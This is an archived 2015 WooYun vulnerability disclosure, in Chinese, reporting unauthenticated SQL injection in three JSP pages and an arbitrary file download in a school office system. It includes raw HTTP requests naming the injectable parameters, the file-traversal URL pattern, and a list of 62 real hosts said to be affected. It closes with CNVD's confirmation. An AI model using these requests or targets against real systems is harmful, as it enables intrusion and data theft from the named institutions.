乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-17: 细节已通知厂商并且等待厂商处理中 2015-06-22: 厂商已经确认,细节仅向厂商公开 2015-06-25: 细节向第三方安全合作伙伴开放 2015-08-16: 细节向核心白帽子及相关领域专家公开 2015-08-26: 细节向普通白帽子公开 2015-09-05: 细节向实习白帽子公开 2015-09-20: 细节向公众公开
rt
无需登录下SQL注入&任意文件遍历。3个文件5个参数存在过滤不当导致SQL注入
GET /inc/reviews_choose.jsp?currentPage=&pageSize=&reviewsType=1 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://222.191.250.100:81/Cookie: JSESSIONID=750fc5e16ae838dbcfb37018b7aeHost: 222.191.250.100:81Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
参数reviewsType
POST /inc/user_choose_content.jsp?uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on&uc=on HTTP/1.1Content-Length: 249Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://222.191.250.100:81/Cookie: JSESSIONID=750fc5e16ae838dbcfb37018b7aeHost: 222.191.250.100:81Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*chkType=checkbox&classId=¤tPage=1&deptId=1&driver=&dutyCode=&gradeId=&keywords=&schoolId=&subjectId=&userType=
参数deptId,subjectId,userType
POST /inc/user_choose_stu.jsp HTTP/1.1Content-Length: 179Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://222.191.250.100:81/Cookie: JSESSIONID=750fc5e16ae838dbcfb37018b7aeHost: 222.191.250.100:81Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*classId=1&keywords=1&role=&userId=0&userType=0
参数classId无需登录下任意文件遍历
http://url/download.jsp?filename=download.jsp
附62个案例:
http://218.94.154.130:81/http://zd9z.com:81/http://111.17.169.131:81/http://111.17.169.149:81/http://111.17.169.166:81/http://222.134.129.206:8000/http://61.156.236.21:81/http://222.187.85.118:81/http://222.191.250.100:81/http://218.56.104.94:8080/http://221.178.218.27:8080/http://222.134.153.142:8080/http://58.214.37.230:81/http://218.90.180.10:81/http://218.93.12.84/http://work.czhmx.cn/http://58.213.62.98:8080/http://61.153.103.195:81/http://61.153.103.76:81/http://218.2.115.124:8080/http://218.2.115.126:8080/http://122.227.165.54/http://yysyzx.cn:8181/http://222.134.89.202:88/http://oa.caxx.net/http://116.255.211.100:81/http://218.90.182.62:8080/http://123.178.103.34:8080/http://111.17.169.218:81/http://222.190.121.38:81/http://60.210.115.58:81/http://221.214.211.100:8000/http://218.56.97.130:81/http://zj.htjy.net/http://218.90.156.238/http://218.201.123.88:81/http://218.94.126.226:8080/http://oa.yyymzx.com/http://61.153.103.76/http://122.5.105.27/http://oa.hqcxx.net/http://222.134.89.198/http://222.134.77.78:8080/http://yysyzx.cn:8181/http://60.210.115.62:8181/http://218.90.182.62:8080/http://218.2.115.126:8080/http://218.94.126.226:8080/http://221.214.211.100:8000/http://222.187.85.118:81/http://218.94.154.130:81/http://218.56.97.130:81/http://111.17.169.149:81/http://222.74.103.162:81/http://111.17.169.218:81/http://111.17.169.166:81/http://222.186.112.181:81/http://122.5.105.210:81/http://222.191.250.100:81/http://218.90.180.10:81/
过滤
危害等级:高
漏洞Rank:15
确认时间:2015-06-22 09:39
cnvd确认并复现所述情况,转由cncert下发给江苏分中心,由其后续协调网站管理单位处置。
暂无